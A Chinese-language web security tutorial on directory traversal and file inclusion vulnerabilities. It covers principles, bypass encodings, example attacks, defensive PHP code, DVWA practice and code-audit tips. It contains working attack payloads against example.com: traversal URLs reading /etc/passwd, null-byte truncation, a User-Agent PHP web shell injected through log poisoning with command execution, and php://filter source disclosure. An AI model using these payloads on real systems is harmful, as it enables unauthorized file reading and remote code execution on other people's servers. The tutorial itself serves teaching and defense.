文章目錄
- 前言
- 一 目錄穿越漏洞
- 1.1 什么是目錄穿越?
- 1.2 目錄穿越的原理
- 1.3 目錄穿越的常見形式
- 1.3.1 基本形式
- 1.3.2 編碼繞過
- 1.3.3 絕對路徑攻擊
- 1.4 實戰案例解析
- 1.4.1 案例1:簡單的目錄穿越
- 1.4.2 案例2:編碼繞過
- 1.5 目錄穿越的危害
- 二、文件包含漏洞詳解
- 2.1 什么是文件包含?
- 2.2 文件包含的原理
- 2.3 文件包含的利用技巧
- 2.3.1 LFI進階利用
- 2.3.2 RFI利用條件
- 2.4 實戰案例解析
- 2.4.1 案例1:基本的LFI
- 2.4.2 案例2:日志文件包含
- 2.4.3 案例3:PHP偽協議利用
- 2.5 文件包含的危害
- 三、漏洞防御方案
- 3.1 目錄穿越防御措施
- 3.2 文件包含防御措施
- 四、實戰演練環境搭建
- 4.1 DVWA環境配置
- 4.2 目錄穿越練習
- 五、漏洞挖掘與審計
- 5.1 如何發現目錄穿越漏洞
- 5.2 如何發現文件包含漏洞
- 5.3 代碼審計要點
前言
- 在Web安全領域,目錄穿越(Directory Traversal)和文件包含(File Inclusion)是兩種常見且危險的漏洞類型。本文將系統性地介紹這兩種漏洞的原理、危害、利用方式及防御措施。
一 目錄穿越漏洞
1.1 什么是目錄穿越?
-
目錄穿越(Directory Traversal),又稱路徑遍歷(Path Traversal),是一種允許攻擊者訪問Web服務器文件系統中本不應公開的文件的漏洞。攻擊者通過操縱文件路徑參數,使用"…/"等特殊符號跳出預期的目錄限制。
-
類比理解:想象你在一棟大樓里,每個房間都有嚴格的門禁。目錄穿越就像找到了大樓設計上的漏洞,通過特定的路徑組合,可以進入任何房間,甚至是管理員辦公室。
1.2 目錄穿越的原理
- Web應用程序通常會使用動態文件路徑來訪問服務器上的資源。例如:
http://example.com/loadFile?filename=report.pdf
- 如果應用程序沒有正確驗證filename參數,攻擊者可以構造惡意路徑:
http://example.com/loadFile?filename=../../etc/passwd
1.3 目錄穿越的常見形式
1.3.1 基本形式
- Unix/Linux系統:使用
../
返回上級目錄 - Windows系統:使用
..\
或../
返回上級目錄
1.3.2 編碼繞過
- URL編碼:
%2e%2e%2f
=../
- 雙重編碼:
%252e%252e%252f
=../
- Unicode編碼:
..%c0%af
=../
(某些系統)
1.3.3 絕對路徑攻擊
- 直接指定絕對路徑:
filename=/etc/passwd
1.4 實戰案例解析
1.4.1 案例1:簡單的目錄穿越
- 假設有一個圖片查看服務:
http://example.com/viewImage?file=userUploads/avatar123.jpg
- 攻擊者嘗試:
http://example.com/viewImage?file=../../../../etc/passwd
- 如果服務未做防護,可能返回系統的passwd文件內容。
1.4.2 案例2:編碼繞過
- 某網站過濾了
../
但未考慮編碼: - 正常請求:
http://example.com/download?file=document.pdf
- 攻擊請求:
http://example.com/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
1.5 目錄穿越的危害
- 敏感信息泄露:讀取密碼文件、配置文件等
- 系統文件篡改:修改關鍵系統文件
- 源代碼泄露:獲取應用程序源代碼
- 輔助其他攻擊:為后續攻擊提供信息
二、文件包含漏洞詳解
2.1 什么是文件包含?
- 文件包含(File Inclusion)漏洞發生在應用程序動態包含文件時,未正確驗證用戶控制的文件路徑參數,導致可以包含惡意文件。
文件包含分為兩種:
- 本地文件包含(LFI, Local File Inclusion):包含服務器本地的文件
- 遠程文件包含(RFI, Remote File Inclusion):包含遠程服務器上的文件
2.2 文件包含的原理
- 許多編程語言支持動態文件包含功能,例如PHP的
include()
、require()
函數。當用戶輸入直接作為包含參數時,就可能產生漏洞。PHP示例:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
- 正常訪問:
http://example.com/index.php?page=home
- 惡意訪問:
http://example.com/index.php?page=/etc/passwd%00
(使用null字節%00截斷.php后綴)
2.3 文件包含的利用技巧
2.3.1 LFI進階利用
- 日志文件注入:通過包含access.log或error.log,結合UA或Referer注入PHP代碼
- PHP偽協議:
php://filter
:讀取文件源碼php://input
:執行POST數據中的代碼
- Session文件包含:通過包含session文件執行代碼
2.3.2 RFI利用條件
allow_url_fopen
和allow_url_include
設置為On- 目標文件后綴會被解析為PHP(如.jpg的PHP后門)
2.4 實戰案例解析
2.4.1 案例1:基本的LFI
- 某PHP網站:
http://example.com/index.php?module=contact
- 后端代碼:
include($_GET['module'] . '.php');
攻擊:
http://example.com/index.php?module=../../../../etc/passwd%00
2.4.2 案例2:日志文件包含
- 確定服務器使用Apache,日志位于/var/log/apache2/access.log
- 在User-Agent中插入PHP代碼:
User-Agent: <?php system($_GET['cmd']); ?>
- 包含日志文件:
http://example.com/index.php?page=/var/log/apache2/access.log
- 執行命令:
http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
2.4.3 案例3:PHP偽協議利用
- 讀取PHP文件源碼:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
- 返回base64編碼的源碼,解碼后可得原始代碼。
2.5 文件包含的危害
- 任意代碼執行:最嚴重的后果
- 敏感信息泄露:同目錄穿越
- 網站篡改:植入后門或惡意內容
- 服務器淪陷:作為跳板攻擊內網
三、漏洞防御方案
3.1 目錄穿越防御措施
-
輸入驗證:
- 白名單驗證:只允許預期的文件名
- 黑名單過濾:過濾
../
、..\
等 - 正則表達式:
/^[a-zA-Z0-9]+\.pdf$/
-
路徑規范化:
- 解析路徑中的
.
和..
- 使用語言內置函數如PHP的
realpath()
- 解析路徑中的
-
文件系統限制:
- 使用chroot jail
- 設置適當的文件權限
-
示例代碼(PHP):
$base_dir = '/var/www/uploads/';
$user_file = $_GET['file'];
$real_path = realpath($base_dir . $user_file);if (strpos($real_path, $base_dir) !== 0) {die('非法路徑訪問!');
}
3.2 文件包含防御措施
-
避免動態包含:
- 使用靜態包含
- 使用switch-case結構替代
-
白名單驗證:
$allowed = ['home', 'contact', 'about'];
$page = $_GET['page'];if (!in_array($page, $allowed)) {die('非法頁面請求!');
}
include($page . '.php');
-
設置PHP配置:
allow_url_include = Off
allow_url_fopen = Off
-
文件路徑限制:
- 設置包含目錄
- 禁止包含用戶上傳目錄
-
使用安全函數:
basename()
:只返回文件名部分realpath()
+ 前綴檢查
四、實戰演練環境搭建
4.1 DVWA環境配置
- 下載Damn Vulnerable Web Application(DVWA)
- 配置PHP環境(建議5.4+)
- 設置DVWA安全級別為"low"進行練習
4.2 目錄穿越練習
- 在DVWA中選擇"File Inclusion"
- 嘗試讀取服務器上的
/var/www/html/vulnerabilities/fi/help/help.php
文件 - 嘗試使用不同編碼方式繞過
五、漏洞挖掘與審計
5.1 如何發現目錄穿越漏洞
- 參數分析:
- 查找文件路徑參數(file, path, page等)
- 測試參數是否接受路徑遍歷序列
- 測試方法:
- 基礎測試:嘗試
../../etc/passwd
- 編碼測試:嘗試URL編碼、雙重編碼
- 邊界測試:嘗試不同數量的
../
- 基礎測試:嘗試
5.2 如何發現文件包含漏洞
-
參數分析:
- 查找包含功能的參數(include, page, module等)
- 測試參數是否可以包含遠程文件
-
測試方法:
- 基礎LFI測試
- RFI測試(需配置允許)
- 特殊協議測試(php://, data://等)
5.3 代碼審計要點
-
危險函數識別:
- PHP:
include
,require
,include_once
,require_once
,fopen
等 - Java:
FileInputStream
,RandomAccessFile
等 - .NET:
File.Open
,File.ReadAllText
等
- PHP:
-
輸入追蹤:
- 跟蹤用戶輸入如何傳遞到文件操作函數
- 檢查是否有足夠的驗證和過濾